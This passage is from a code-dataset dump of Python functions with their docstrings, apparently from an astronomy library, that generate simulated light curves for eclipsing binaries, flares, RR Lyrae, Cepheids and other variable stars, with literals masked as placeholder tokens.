-pdepth<EOL><DEDENT>elif not magsarefluxes and pdepth > <NUM_LIT:0.0>:<EOL><INDENT>pdepth = -pdepth<EOL><DEDENT>modelmags, phase, ptimes, pmags, perrs = (<EOL>eclipses.invgauss_eclipses_func([period, epoch, pdepth,<EOL>pduration, depthratio, secphase],<EOL>times,<EOL>mags,<EOL>errs)<EOL>)<EOL>timeind = np.argsort(ptimes)<EOL>mtimes = ptimes[timeind]<EOL>mmags = modelmags[timeind]<EOL>merrs = perrs[timeind]<EOL>modeldict = {<EOL>'<STR_LIT>':'<STR_LIT>',<EOL>'<STR_LIT>':{x:np.asscalar(y) for x,y in zip(['<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>'],<EOL>[period,<EOL>epoch,<EOL>pdepth,<EOL>pduration,<EOL>depthratio])},<EOL>'<STR_LIT>':mtimes,<EOL>'<STR_LIT>':mmags,<EOL>'<STR_LIT>':merrs,<EOL>'<STR_LIT>':period,<EOL>'<STR_LIT>':pdepth,<EOL>}<EOL>return modeldict<EOL>", "docstring": "This generates fake EB light curves.\n\n    Parameters\n    ----------\n\n    times : np.array\n        This is an array of time values that will be used as the time base.\n\n    mags,errs : np.array\n        These arrays will have the model added to them. If either is\n        None, `np.full_like(times, 0.0)` will used as a substitute and the model\n        light curve will be centered around 0.0.\n\n    paramdists : dict\n        This is a dict containing parameter distributions to use for the\n        model params, containing the following keys ::\n\n            {'period', 'pdepth', 'pduration', 'depthratio', 'secphase'}\n\n        The values of these keys should all be 'frozen' scipy.stats distribution\n        objects, e.g.:\n\n        https://docs.scipy.org/doc/scipy/reference/stats.html#continuous-distributions\n        The variability epoch will be automatically chosen from a uniform\n        distribution between `times.min()` and `times.max()`.\n\n        The `pdepth` will be flipped automatically as appropriate if\n        `magsarefluxes=True`.\n\n    magsarefluxes : bool\n        If the generated time series is meant to be a flux time-series, set this\n        to True to get the correct sign of variability amplitude.\n\n    Returns\n    -------\n\n    dict\n        A dict of the form below is returned::\n\n            {'vartype': 'EB',\n             'params': {'period': generated value of period,\n                        'epoch': generated value of epoch,\n                        'pdepth': generated value of priary eclipse depth,\n                        'pduration': generated value of prim eclipse duration,\n                        'depthratio': generated value of prim/sec eclipse\n                                      depth ratio},\n             'times': the model times,\n             'mags': the model mags,\n             'errs': the model errs,\n             'varperiod': the generated period of variability == 'period'\n             'varamplitude': the generated amplitude of\n                             variability == 'pdepth'}", "id": "f14691:m2"}
{"signature": "def generate_flare_lightcurve(<EOL>times,<EOL>mags=None,<EOL>errs=None,<EOL>paramdists={<EOL>'<STR_LIT>':sps.uniform(loc=<NUM_LIT>,scale=<NUM_LIT>),<EOL>'<STR_LIT>':[<NUM_LIT:1>,<NUM_LIT:5>],<EOL>'<STR_LIT>':sps.uniform(loc=<NUM_LIT>, scale=<NUM_LIT>),<EOL>'<STR_LIT>':sps.uniform(loc=<NUM_LIT>, scale=<NUM_LIT>)<EOL>},<EOL>magsarefluxes=False,<EOL>):", "body": "if mags is None:<EOL><INDENT>mags = np.full_like(times, <NUM_LIT:0.0>)<EOL><DEDENT>if errs is None:<EOL><INDENT>errs = np.full_like(times, <NUM_LIT:0.0>)<EOL><DEDENT>nflares = npr.randint(paramdists['<STR_LIT>'][<NUM_LIT:0>],<EOL>high=paramdists['<STR_LIT>'][<NUM_LIT:1>])<EOL>flarepeaktimes = (<EOL>npr.random(<EOL>size=nflares<EOL>)*(times.max() - times.min()) + times.min()<EOL>)<EOL>params = {'<STR_LIT>':nflares}<EOL>for flareind, peaktime in zip(range(nflares), flarepeaktimes):<EOL><INDENT>amp = paramdists['<STR_LIT>'].rvs(size=<NUM_LIT:1>)<EOL>risestdev = paramdists['<STR_LIT>'].rvs(size=<NUM_LIT:1>)<EOL>decayconst = paramdists['<STR_LIT>'].rvs(size=<NUM_LIT:1>)<EOL>if magsarefluxes and amp < <NUM_LIT:0.0>:<EOL><INDENT>amp = -amp<EOL><DEDENT>elif not magsarefluxes and amp > <NUM_LIT:0.0>:<EOL><INDENT>amp = -amp<EOL><DEDENT>modelmags, ptimes, pmags, perrs = (<EOL>flares.flare_model(<EOL>[amp, peaktime, risestdev, decayconst],<EOL>times,<EOL>mags,<EOL>errs<EOL>)<EOL>)<EOL>mags = modelmags<EOL>params[flareind] = {'<STR_LIT>':peaktime,<EOL>'<STR_LIT>':amp,<EOL>'<STR_LIT>':risestdev,<EOL>'<STR_LIT>':decayconst}<EOL><DEDENT>modeldict = {<EOL>'<STR_LIT>':'<STR_LIT>',<EOL>'<STR_LIT>':params,<EOL>'<STR_LIT>':times,<EOL>'<STR_LIT>':mags,<EOL>'<STR_LIT>':errs,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':[params[x]['<STR_LIT>']<EOL>for x in range(params['<STR_LIT>'])],<EOL>}<EOL>return modeldict<EOL>", "docstring": "This generates fake flare light curves.\n\n    Parameters\n    ----------\n\n    times : np.array\n        This is an array of time values that will be used as the time base.\n\n    mags,errs : np.array\n        These arrays will have the model added to them. If either is\n        None, `np.full_like(times, 0.0)` will used as a substitute and the model\n        light curve will be centered around 0.0.\n\n    paramdists : dict\n        This is a dict containing parameter distributions to use for the\n        model params, containing the following keys ::\n\n            {'amplitude', 'nflares', 'risestdev', 'decayconst'}\n\n        The values of these keys should all be 'frozen' scipy.stats distribution\n        objects, e.g.:\n\n        https://docs.scipy.org/doc/scipy/reference/stats.html#continuous-distributions\n        The `flare_peak_time` for each flare will be generated automatically\n        between `times.min()` and `times.max()` using a uniform distribution.\n\n        The `amplitude` will be flipped automatically as appropriate if\n        `magsarefluxes=True`.\n\n    magsarefluxes : bool\n        If the generated time series is meant to be a flux time-series, set this\n        to True to get the correct sign of variability amplitude.\n\n    Returns\n    -------\n\n    dict\n        A dict of the form below is returned::\n\n            {'vartype': 'flare',\n             'params': {'amplitude': generated value of flare amplitudes,\n                        'nflares': generated value of number of flares,\n                        'risestdev': generated value of stdev of rise time,\n                        'decayconst': generated value of decay constant,\n                        'peaktime': generated value of flare peak time},\n             'times': the model times,\n             'mags': the model mags,\n             'errs': the model errs,\n             'varamplitude': the generated amplitude of\n                             variability == 'amplitude'}", "id": "f14691:m3"}
{"signature": "def generate_sinusoidal_lightcurve(<EOL>times,<EOL>mags=None,<EOL>errs=None,<EOL>paramdists={<EOL>'<STR_LIT>':sps.uniform(loc=<NUM_LIT>,scale=<NUM_LIT>),<EOL>'<STR_LIT>':[<NUM_LIT:2>,<NUM_LIT:10>],<EOL>'<STR_LIT>':sps.uniform(loc=<NUM_LIT:0.1>,scale=<NUM_LIT>),<EOL>'<STR_LIT>':<NUM_LIT:0.0>,<EOL>},<EOL>magsarefluxes=False<EOL>):", "body": "if mags is None:<EOL><INDENT>mags = np.full_like(times, <NUM_LIT:0.0>)<EOL><DEDENT>if errs is None:<EOL><INDENT>errs = np.full_like(times, <NUM_LIT:0.0>)<EOL><DEDENT>epoch = npr.random()*(times.max() - times.min()) + times.min()<EOL>period = paramdists['<STR_LIT>'].rvs(size=<NUM_LIT:1>)<EOL>fourierorder = npr.randint(paramdists['<STR_LIT>'][<NUM_LIT:0>],<EOL>high=paramdists['<STR_LIT>'][<NUM_LIT:1>])<EOL>amplitude = paramdists['<STR_LIT>'].rvs(size=<NUM_LIT:1>)<EOL>if magsarefluxes and amplitude < <NUM_LIT:0.0>:<EOL><INDENT>amplitude = -amplitude<EOL><DEDENT>elif not magsarefluxes and amplitude > <NUM_LIT:0.0>:<EOL><INDENT>amplitude = -amplitude<EOL><DEDENT>ampcomps = [abs(amplitude/<NUM_LIT>)/float(x)<EOL>for x in range(<NUM_LIT:1>,fourierorder+<NUM_LIT:1>)]<EOL>phacomps = [paramdists['<STR_LIT>']*float(x)<EOL>for x in range(<NUM_LIT:1>,fourierorder+<NUM_LIT:1>)]<EOL>modelmags, phase, ptimes, pmags, perrs = sinusoidal.sine_series_sum(<EOL>[period, epoch, ampcomps, phacomps],<EOL>times,<EOL>mags,<EOL>errs<EOL>)<EOL>timeind = np.argsort(ptimes)<EOL>mtimes = ptimes[timeind]<EOL>mmags = modelmags[timeind]<EOL>merrs = perrs[timeind]<EOL>mphase = phase[timeind]<EOL>modeldict = {<EOL>'<STR_LIT>':'<STR_LIT>',<EOL>'<STR_LIT>':{x:y for x,y in zip(['<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>'],<EOL>[period,<EOL>epoch,<EOL>amplitude,<EOL>fourierorder,<EOL>ampcomps,<EOL>phacomps])},<EOL>'<STR_LIT>':mtimes,<EOL>'<STR_LIT>':mmags,<EOL>'<STR_LIT>':merrs,<EOL>'<STR_LIT>':mphase,<EOL>'<STR_LIT>':period,<EOL>'<STR_LIT>':amplitude<EOL>}<EOL>return modeldict<EOL>", "docstring": "This generates fake sinusoidal light curves.\n\n    This can be used for a variety of sinusoidal variables, e.g. RRab, RRc,\n    Cepheids, Miras, etc. The functions that generate these model LCs below\n    implement the following table::\n\n        ## FOURIER PARAMS FOR SINUSOIDAL VARIABLES\n        #\n        # type        fourier           period [days]\n        #             order    dist     limits         dist\n\n        # RRab        8 to 10  uniform  0.45--0.80     uniform\n        # RRc         3 to 6   uniform  0.10--0.40     uniform\n        # HADS        7 to 9   uniform  0.04--0.10     uniform\n        # rotator     2 to 5   uniform  0.80--120.0    uniform\n        # LPV         2 to 5   uniform  250--500.0     uniform\n\n    FIXME: for better model LCs, figure out how scipy.signal.butter works and\n    low-pass filter using scipy.signal.filtfilt.\n\n    Parameters\n    ----------\n\n    times : np.array\n        This is an array of time values that will be used as the time base.\n\n    mags,errs : np.array\n        These arrays will have the model added to them. If either is\n        None, `np.full_like(times, 0.0)` will used as a substitute and the model\n        light curve will be centered around 0.0.\n\n    paramdists : dict\n        This is a dict containing parameter distributions to use for the\n        model params, containing the following keys ::\n\n            {'period', 'fourierorder', 'amplitude', 'phioffset'}\n\n        The values of these keys should all be 'frozen' scipy.stats distribution\n        objects, e.g.:\n\n        https://docs.scipy.org/doc/scipy/reference/stats.html#continuous-distributions\n        The variability epoch will be automatically chosen from a uniform\n        distribution between `times.min()` and `times.max()`.\n\n        The `amplitude` will be flipped automatically as appropriate if\n        `magsarefluxes=True`.\n\n    magsarefluxes : bool\n        If the generated time series is meant to be a flux time-series, set this\n        to True to get the correct sign of variability amplitude.\n\n    Returns\n    -------\n\n    dict\n        A dict of the form below is returned::\n\n            {'vartype': 'sinusoidal',\n             'params': {'period': generated value of period,\n                        'epoch': generated value of epoch,\n                        'amplitude': generated value of amplitude,\n                        'fourierorder': generated value of fourier order,\n                        'fourieramps': generated values of fourier amplitudes,\n                        'fourierphases': generated values of fourier phases},\n             'times': the model times,\n             'mags': the model mags,\n             'errs': the model errs,\n             'varperiod': the generated period of variability == 'period'\n             'varamplitude': the generated amplitude of\n                             variability == 'amplitude'}", "id": "f14691:m4"}
{"signature": "def generate_rrab_lightcurve(<EOL>times,<EOL>mags=None,<EOL>errs=None,<EOL>paramdists={<EOL>'<STR_LIT>':sps.uniform(loc=<NUM_LIT>,scale=<NUM_LIT>),<EOL>'<STR_LIT>':[<NUM_LIT:8>,<NUM_LIT:11>],<EOL>'<STR_LIT>':sps.uniform(loc=<NUM_LIT>,scale=<NUM_LIT:0.5>),<EOL>'<STR_LIT>':np.pi,<EOL>},<EOL>magsarefluxes=False<EOL>):", "body": "modeldict = generate_sinusoidal_lightcurve(times,<EOL>mags=mags,<EOL>errs=errs,<EOL>paramdists=paramdists,<EOL>magsarefluxes=magsarefluxes)<EOL>modeldict['<STR_LIT>'] = '<STR_LIT>'<EOL>return modeldict<EOL>", "docstring": "This generates fake RRab light curves.\n\n    Parameters\n    ----------\n\n    times : np.array\n        This is an array of time values that will be used as the time base.\n\n    mags,errs : np.array\n        These arrays will have the model added to them. If either is\n        None, `np.full_like(times, 0.0)` will used as a substitute and the model\n        light curve will be centered around 0.0.\n\n    paramdists : dict\n        This is a dict containing parameter distributions to use for the\n        model params, containing the following keys ::\n\n            {'period', 'fourierorder', 'amplitude'}\n\n        The values of these keys should all be 'frozen' scipy.stats distribution\n        objects, e.g.:\n\n        https://docs.scipy.org/doc/scipy/reference/stats.html#continuous-distributions\n        The variability epoch will be automatically chosen from a uniform\n        distribution between `times.min()` and `times.max()`.\n\n        The `amplitude` will be flipped automatically as appropriate if\n        `magsarefluxes=True`.\n\n    magsarefluxes : bool\n        If the generated time series is meant to be a flux time-series, set this\n        to True to get the correct sign of variability amplitude.\n\n    Returns\n    -------\n\n    dict\n        A dict of the form below is returned::\n\n            {'vartype': 'RRab',\n             'params': {'period': generated value of period,\n                        'epoch': generated value of epoch,\n                        'amplitude': generated value of amplitude,\n                        'fourierorder': generated value of fourier order,\n                        'fourieramps': generated values of fourier amplitudes,\n                        'fourierphases': generated values of fourier phases},\n             'times': the model times,\n             'mags': the model mags,\n             'errs': the model errs,\n             'varperiod': the generated period of variability == 'period'\n             'varamplitude': the generated amplitude of\n                             variability == 'amplitude'}", "id": "f14691:m5"}
{"signature": "def generate_rrc_lightcurve(<EOL>times,<EOL>mags=None,<EOL>errs=None,<EOL>paramdists={<EOL>'<STR_LIT>':sps.uniform(loc=<NUM_LIT>,scale=<NUM_LIT>),<EOL>'<STR_LIT>':[<NUM_LIT:2>,<NUM_LIT:3>],<EOL>'<STR_LIT>':sps.uniform(loc=<NUM_LIT:0.1>,scale=<NUM_LIT>),<EOL>'<STR_LIT>':<NUM_LIT>*np.pi,<EOL>},<EOL>magsarefluxes=False<EOL>):", "body": "modeldict = generate_sinusoidal_lightcurve(times,<EOL>mags=mags,<EOL>errs=errs,<EOL>paramdists=paramdists,<EOL>magsarefluxes=magsarefluxes)<EOL>modeldict['<STR_LIT>'] = '<STR_LIT>'<EOL>return modeldict<EOL>", "docstring": "This generates fake RRc light curves.\n\n    Parameters\n    ----------\n\n    times : np.array\n        This is an array of time values that will be used as the time base.\n\n    mags,errs : np.array\n        These arrays will have the model added to them. If either is\n        None, `np.full_like(times, 0.0)` will used as a substitute and the model\n        light curve will be centered around 0.0.\n\n    paramdists : dict\n        This is a dict containing parameter distributions to use for the\n        model params, containing the following keys ::\n\n            {'period', 'fourierorder', 'amplitude'}\n\n        The values of these keys should all be 'frozen' scipy.stats distribution\n        objects, e.g.:\n\n        https://docs.scipy.org/doc/scipy/reference/stats.html#continuous-distributions\n        The variability epoch will be automatically chosen from a uniform\n        distribution between `times.min()` and `times.max()`.\n\n        The `amplitude` will be flipped automatically as appropriate if\n        `magsarefluxes=True`.\n\n    magsarefluxes : bool\n        If the generated time series is meant to be a flux time-series, set this\n        to True to get the correct sign of variability amplitude.\n\n    Returns\n    -------\n\n    dict\n        A dict of the form below is returned::\n\n            {'vartype': 'RRc',\n             'params': {'period': generated value of period,\n                        'epoch': generated value of epoch,\n                        'amplitude': generated value of amplitude,\n                        'fourierorder': generated value of fourier order,\n                        'fourieramps': generated values of fourier amplitudes,\n                        'fourierphases': generated values of fourier phases},\n             'times': the model times,\n             'mags': the model mags,\n             'errs': the model errs,\n             'varperiod': the generated period of variability == 'period'\n             'varamplitude': the generated amplitude of\n                             variability == 'amplitude'}", "id": "f14691:m6"}
{"signature": "def generate_hads_lightcurve(<EOL>times,<EOL>mags=None,<EOL>errs=None,<EOL>paramdists={<EOL>'<STR_LIT>':sps.uniform(loc=<NUM_LIT>,scale=<NUM_LIT>),<EOL>'<STR_LIT>':[<NUM_LIT:5>,<NUM_LIT:10>],<EOL>'<STR_LIT>':sps.uniform(loc=<NUM_LIT:0.1>,scale=<NUM_LIT>),<EOL>'<STR_LIT>':np.pi,<EOL>},<EOL>magsarefluxes=False<EOL>):", "body": "modeldict = generate_sinusoidal_lightcurve(times,<EOL>mags=mags,<EOL>errs=errs,<EOL>paramdists=paramdists,<EOL>magsarefluxes=magsarefluxes)<EOL>modeldict['<STR_LIT>'] = '<STR_LIT>'<EOL>return modeldict<EOL>", "docstring": "This generates fake HADS light curves.\n\n    Parameters\n    ----------\n\n    times : np.array\n        This is an array of time values that will be used as the time base.\n\n    mags,errs : np.array\n        These arrays will have the model added to them. If either is\n        None, `np.full_like(times, 0.0)` will used as a substitute and the model\n        light curve will be centered around 0.0.\n\n    paramdists : dict\n        This is a dict containing parameter distributions to use for the\n        model params, containing the following keys ::\n\n            {'period', 'fourierorder', 'amplitude'}\n\n        The values of these keys should all be 'frozen' scipy.stats distribution\n        objects, e.g.:\n\n        https://docs.scipy.org/doc/scipy/reference/stats.html#continuous-distributions\n        The variability epoch will be automatically chosen from a uniform\n        distribution between `times.min()` and `times.max()`.\n\n        The `amplitude` will be flipped automatically as appropriate if\n        `magsarefluxes=True`.\n\n    magsarefluxes : bool\n        If the generated time series is meant to be a flux time-series, set this\n        to True to get the correct sign of variability amplitude.\n\n    Returns\n    -------\n\n    dict\n        A dict of the form below is returned::\n\n            {'vartype': 'HADS',\n             'params': {'period': generated value of period,\n                        'epoch': generated value of epoch,\n                        'amplitude': generated value of amplitude,\n                        'fourierorder': generated value of fourier order,\n                        'fourieramps': generated values of fourier amplitudes,\n                        'fourierphases': generated values of fourier phases},\n             'times': the model times,\n             'mags': the model mags,\n             'errs': the model errs,\n             'varperiod': the generated period of variability == 'period'\n             'varamplitude': the generated amplitude of\n                             variability == 'amplitude'}", "id": "f14691:m7"}
{"signature": "def generate_rotator_lightcurve(<EOL>times,<EOL>mags=None,<EOL>errs=None,<EOL>paramdists={<EOL>'<STR_LIT>':sps.uniform(loc=<NUM_LIT>,scale=<NUM_LIT>),<EOL>'<STR_LIT>':[<NUM_LIT:2>,<NUM_LIT:3>],<EOL>'<STR_LIT>':sps.uniform(loc=<NUM_LIT>,scale=<NUM_LIT>),<EOL>'<STR_LIT>':<NUM_LIT>*np.pi,<EOL>},<EOL>magsarefluxes=False<EOL>):", "body": "modeldict = generate_sinusoidal_lightcurve(times,<EOL>mags=mags,<EOL>errs=errs,<EOL>paramdists=paramdists,<EOL>magsarefluxes=magsarefluxes)<EOL>modeldict['<STR_LIT>'] = '<STR_LIT>'<EOL>return modeldict<EOL>", "docstring": "This generates fake rotator light curves.\n\n    Parameters\n    ----------\n\n    times : np.array\n        This is an array of time values that will be used as the time base.\n\n    mags,errs : np.array\n        These arrays will have the model added to them. If either is\n        None, `np.full_like(times, 0.0)` will used as a substitute and the model\n        light curve will be centered around 0.0.\n\n    paramdists : dict\n        This is a dict containing parameter distributions to use for the\n        model params, containing the following keys ::\n\n            {'period', 'fourierorder', 'amplitude'}\n\n        The values of these keys should all be 'frozen' scipy.stats distribution\n        objects, e.g.:\n\n        https://docs.scipy.org/doc/scipy/reference/stats.html#continuous-distributions\n        The variability epoch will be automatically chosen from a uniform\n        distribution between `times.min()` and `times.max()`.\n\n        The `amplitude` will be flipped automatically as appropriate if\n        `magsarefluxes=True`.\n\n    magsarefluxes : bool\n        If the generated time series is meant to be a flux time-series, set this\n        to True to get the correct sign of variability amplitude.\n\n    Returns\n    -------\n\n    dict\n        A dict of the form below is returned::\n\n            {'vartype': 'rotator',\n             'params': {'period': generated value of period,\n                        'epoch': generated value of epoch,\n                        'amplitude': generated value of amplitude,\n                        'fourierorder': generated value of fourier order,\n                        'fourieramps': generated values of fourier amplitudes,\n                        'fourierphases': generated values of fourier phases},\n             'times': the model times,\n             'mags': the model mags,\n             'errs': the model errs,\n             'varperiod': the generated period of variability == 'period'\n             'varamplitude': the generated amplitude of\n                             variability == 'amplitude'}", "id": "f14691:m8"}
{"signature": "def generate_lpv_lightcurve(<EOL>times,<EOL>mags=None,<EOL>errs=None,<EOL>paramdists={<EOL>'<STR_LIT>':sps.uniform(loc=<NUM_LIT>,scale=<NUM_LIT>),<EOL>'<STR_LIT>':[<NUM_LIT:2>,<NUM_LIT:3>],<EOL>'<STR_LIT>':sps.uniform(loc=<NUM_LIT:0.1>,scale=<NUM_LIT>),<EOL>'<STR_LIT>':<NUM_LIT>*np.pi,<EOL>},<EOL>magsarefluxes=False<EOL>):", "body": "modeldict = generate_sinusoidal_lightcurve(times,<EOL>mags=mags,<EOL>errs=errs,<EOL>paramdists=paramdists,<EOL>magsarefluxes=magsarefluxes)<EOL>modeldict['<STR_LIT>'] = '<STR_LIT>'<EOL>return modeldict<EOL>", "docstring": "This generates fake long-period-variable (LPV) light curves.\n\n    Parameters\n    ----------\n\n    times : np.array\n        This is an array of time values that will be used as the time base.\n\n    mags,errs : np.array\n        These arrays will have the model added to them. If either is\n        None, `np.full_like(times, 0.0)` will used as a substitute and the model\n        light curve will be centered around 0.0.\n\n    paramdists : dict\n        This is a dict containing parameter distributions to use for the\n        model params, containing the following keys ::\n\n            {'period', 'fourierorder', 'amplitude'}\n\n        The values of these keys should all be 'frozen' scipy.stats distribution\n        objects, e.g.:\n\n        https://docs.scipy.org/doc/scipy/reference/stats.html#continuous-distributions\n        The variability epoch will be automatically chosen from a uniform\n        distribution between `times.min()` and `times.max()`.\n\n        The `amplitude` will be flipped automatically as appropriate if\n        `magsarefluxes=True`.\n\n    magsarefluxes : bool\n        If the generated time series is meant to be a flux time-series, set this\n        to True to get the correct sign of variability amplitude.\n\n    Returns\n    -------\n\n    dict\n        A dict of the form below is returned::\n\n            {'vartype': 'LPV',\n             'params': {'period': generated value of period,\n                        'epoch': generated value of epoch,\n                        'amplitude': generated value of amplitude,\n                        'fourierorder': generated value of fourier order,\n                        'fourieramps': generated values of fourier amplitudes,\n                        'fourierphases': generated values of fourier phases},\n             'times': the model times,\n             'mags': the model mags,\n             'errs': the model errs,\n             'varperiod': the generated period of variability == 'period'\n             'varamplitude': the generated amplitude of\n                             variability == 'amplitude'}", "id": "f14691:m9"}
{"signature": "def generate_cepheid_lightcurve(<EOL>times,<EOL>mags=None,<EOL>errs=None,<EOL>paramdists={<EOL>'<STR_LIT>':sps.uniform(loc=<NUM_LIT>,scale=<NUM_LIT>),<EOL>'<STR_LIT>':[<NUM_LIT:8>,<NUM_LIT:11>],<EOL>'<STR_LIT>':sps.uniform(loc=<NUM_LIT:0.1>,scale=<NUM_LIT>),<EOL>'<STR_LIT>':np.pi,<EOL>},<EOL>magsarefluxes=False<EOL>):", "body": "modeldict = generate_sinusoidal_lightcurve(times,<EOL>mags=mags,<EOL>errs=errs,<EOL>paramdists=paramdists,<EOL>magsarefluxes=magsarefluxes)<EOL>modeldict['<STR_LIT>'] = '<STR_LIT>'<EOL>return modeldict<EOL>", "docstring": "This generates fake Cepheid light curves.\n\n    Parameters\n    ----------\n\n    times : np.array\n        This is an array of time values that will be used as the time base.\n\n    mags,errs : np.array\n        These arrays will have the model added to them. If either is\n        None, `np.full_like(times, 0.0)` will used as a substitute and the model\n        light curve will be centered around 0.0.\n\n    paramdists : dict\n        This is a dict containing parameter distributions to use for the\n        model params, containing the following keys ::\n\n            {'period', 'fourierorder', 'amplitude'}\n\n        The values of these keys should all be 'frozen' scipy.stats distribution\n        objects, e.g.:\n\n        https://docs.scipy.org/doc/scipy/reference/stats.html#continuous-distributions\n        The variability epoch will be automatically chosen from a uniform\n        distribution between `times.min()` and `times.max()`.\n\n        The `amplitude` will be flipped automatically as appropriate if\n        `magsarefluxes=True`.\n\n    magsarefluxes : bool\n        If the generated time series is meant to be a flux time-series, set this\n        to True to get the correct sign of variability amplitude.\n\n    Returns\n    -------\n\n    dict\n        A dict of the form below is returned::\n\n            {'vartype': 'cepheid',\n             'params': {'period': generated value of period,\n                        'epoch': generated value of epoch,\n                        'amplitude': generated value of amplitude,\n                        'fourierorder': generated value of fourier order,\n                        'fourieramps': generated values of fourier amplitudes,\n                        'fourierphases': generated values of fourier phases},\n             'times': the model times,\n             'mags': the model mags,\n             'errs': the model errs,\n             'varperiod': the generated period of variability == 'period'\n             'varamplitude': the generated amplitude of\n                             variability == 'amplitude'}", "id": "f14691:m10"}
{"signature": "def make_fakelc(lcfile,<EOL>outdir,<EOL>magrms=None,<EOL>randomizemags=True,<EOL>randomizecoords=False,<EOL>lcformat='<STR_LIT>',<EOL>lcformatdir=None,<EOL>timecols=None,<EOL>magcols=None,<EOL>errcols=None):", "body": "try:<EOL><INDENT>formatinfo = get_lcformat(lcformat,<EOL>use_lcformat_dir=lcformatdir)<EOL>if formatinfo:<EOL><INDENT>(fileglob, readerfunc,<EOL>dtimecols, dmagcols, derrcols,<EOL>magsarefluxes, normfunc) = formatinfo<EOL><DEDENT>else:<EOL><INDENT>LOGERROR(\"<STR_LIT>\")<EOL>return None<EOL><DEDENT><DEDENT>except Exception as e:<EOL><INDENT>LOGEXCEPTION(\"<STR_LIT>\")<EOL>return None<EOL><DEDENT>if timecols is None:<EOL><INDENT>timecols = dtimecols<EOL><DEDENT>if magcols is None:<EOL><INDENT>magcols = dmagcols<EOL><DEDENT>if errcols is None:<EOL><INDENT>errcols = derrcols<EOL><DEDENT>lcdict = readerfunc(lcfile)<EOL>if isinstance(lcdict, tuple) and isinstance(lcdict[<NUM_LIT:0>],dict):<EOL><INDENT>lcdict = lcdict[<NUM_LIT:0>]<EOL><DEDENT>fakeobjectid = sha512(npr.bytes(<NUM_LIT:12>)).hexdigest()[-<NUM_LIT:8>:]<EOL>fakelcdict = {<EOL>'<STR_LIT>':fakeobjectid,<EOL>'<STR_LIT>':{'<STR_LIT>':fakeobjectid},<EOL>'<STR_LIT>':[],<EOL>'<STR_LIT>':{},<EOL>'<STR_LIT>':lcformat,<EOL>}<EOL>if ('<STR_LIT>' in lcdict and<EOL>isinstance(lcdict['<STR_LIT>'], dict)):<EOL><INDENT>objectinfo = lcdict['<STR_LIT>']<EOL>if (not randomizecoords and '<STR_LIT>' in objectinfo and<EOL>objectinfo['<STR_LIT>'] is not None and<EOL>np.isfinite(objectinfo['<STR_LIT>'])):<EOL><INDENT>fakelcdict['<STR_LIT>']['<STR_LIT>'] = objectinfo['<STR_LIT>']<EOL><DEDENT>else:<EOL><INDENT>LOGWARNING('<STR_LIT>' % lcfile)<EOL>fakelcdict['<STR_LIT>']['<STR_LIT>'] = npr.random()*<NUM_LIT><EOL><DEDENT>if (not randomizecoords and '<STR_LIT>' in objectinfo and<EOL>objectinfo['<STR_LIT>'] is not None and<EOL>np.isfinite(objectinfo['<STR_LIT>'])):<EOL><INDENT>fakelcdict['<STR_LIT>']['<STR_LIT>'] = objectinfo['<STR_LIT>']<EOL><DEDENT>else:<EOL><INDENT>LOGWARNING('<STR_LIT>' % lcfile)<EOL>fakelcdict['<STR_LIT>']['<STR_LIT>'] = npr.random()*<NUM_LIT> - <NUM_LIT><EOL><DEDENT>if ((not randomizemags) and '<STR_LIT>' in objectinfo and<EOL>objectinfo['<STR_LIT>'] is not None and<EOL>np.isfinite(objectinfo['<STR_LIT>'])):<EOL><INDENT>fakelcdict['<STR_LIT>']['<STR_LIT>'] = objectinfo['<STR_LIT>']<EOL><DEDENT>elif ((not randomizemags) and ('<STR_LIT>' in objectinfo and<EOL>objectinfo['<STR_LIT>'] is not None and<EOL>np.isfinite(objectinfo['<STR_LIT>'])) and<EOL>('<STR_LIT>' in objectinfo and<EOL>objectinfo['<STR_LIT>'] is not None and<EOL>np.isfinite(objectinfo['<STR_LIT>'])) and<EOL>('<STR_LIT>' in objectinfo and<EOL>objectinfo['<STR_LIT>'] is not None and<EOL>np.isfinite(objectinfo['<STR_LIT>']))):<EOL><INDENT>LOGWARNING('<STR_LIT>' %<EOL>lcfile)<EOL>fakelcdict['<STR_LIT>']['<STR_LIT>'] = jhk_to_sdssr(<EOL>objectinfo['<STR_LIT>'],<EOL>objectinfo['<STR_LIT>'],<EOL>objectinfo['<STR_LIT>']<EOL>)<EOL><DEDENT>elif randomizemags and magrms:<EOL><INDENT>LOGWARNING('<STR_LIT>'<EOL>'<STR_LIT>' % lcfile)<EOL>magbins = magrms[magcols[<NUM_LIT:0>]]['<STR_LIT>']<EOL>binprobs = magrms[magcols[<NUM_LIT:0>]]['<STR_LIT>']<EOL>magbincenter = npr.choice(magbins,size=<NUM_LIT:1>,p=binprobs)<EOL>chosenmag = (<EOL>npr.random()*((magbincenter+<NUM_LIT>) - (magbincenter-<NUM_LIT>)) +<EOL>(magbincenter-<NUM_LIT>)<EOL>)<EOL>fakelcdict['<STR_LIT>']['<STR_LIT>'] = np.asscalar(chosenmag)<EOL><DEDENT>else:<EOL><INDENT>LOGWARNING('<STR_LIT>'<EOL>'<STR_LIT>' % lcfile)<EOL>fakelcdict['<STR_LIT>']['<STR_LIT>'] = npr.random()*<NUM_LIT> + <NUM_LIT><EOL><DEDENT><DEDENT>else:<EOL><INDENT>LOGWARNING('<STR_LIT>'<EOL>'<STR_LIT>' %<EOL>lcfile)<EOL>fakelcdict['<STR_LIT>']['<STR_LIT>'] = npr.random()*<NUM_LIT><EOL>fakelcdict['<STR_LIT>']['<STR_LIT>'] = npr.random()*<NUM_LIT> - <NUM_LIT><EOL>fakelcdict['<STR_LIT>']['<STR_LIT>'] = npr.random()*<NUM_LIT> + <NUM_LIT><EOL><DEDENT>for tcind, tcol in enumerate(timecols):<EOL><INDENT>if '<STR_LIT:.>' in tcol:<EOL><INDENT>tcolget = tcol.split('<STR_LIT:.>')<EOL><DEDENT>else:<EOL><INDENT>tcolget = [tcol]<EOL><DEDENT>if tcol not in fakelcdict:<EOL><INDENT>fakelcdict[tcol] = _dict_get(lcdict, tcolget)<EOL>fakelcdict['<STR_LIT>'].append(tcol)<EOL>if tcind == <NUM_LIT:0>:<EOL><INDENT>fakelcdict['<STR_LIT>']['<STR_LIT>'] = fakelcdict[tcol].size<EOL><DEDENT><DEDENT><DEDENT>for mcol in magcols:<EOL><INDENT>if '<STR_LIT:.>' in mcol:<EOL><INDENT>mcolget = 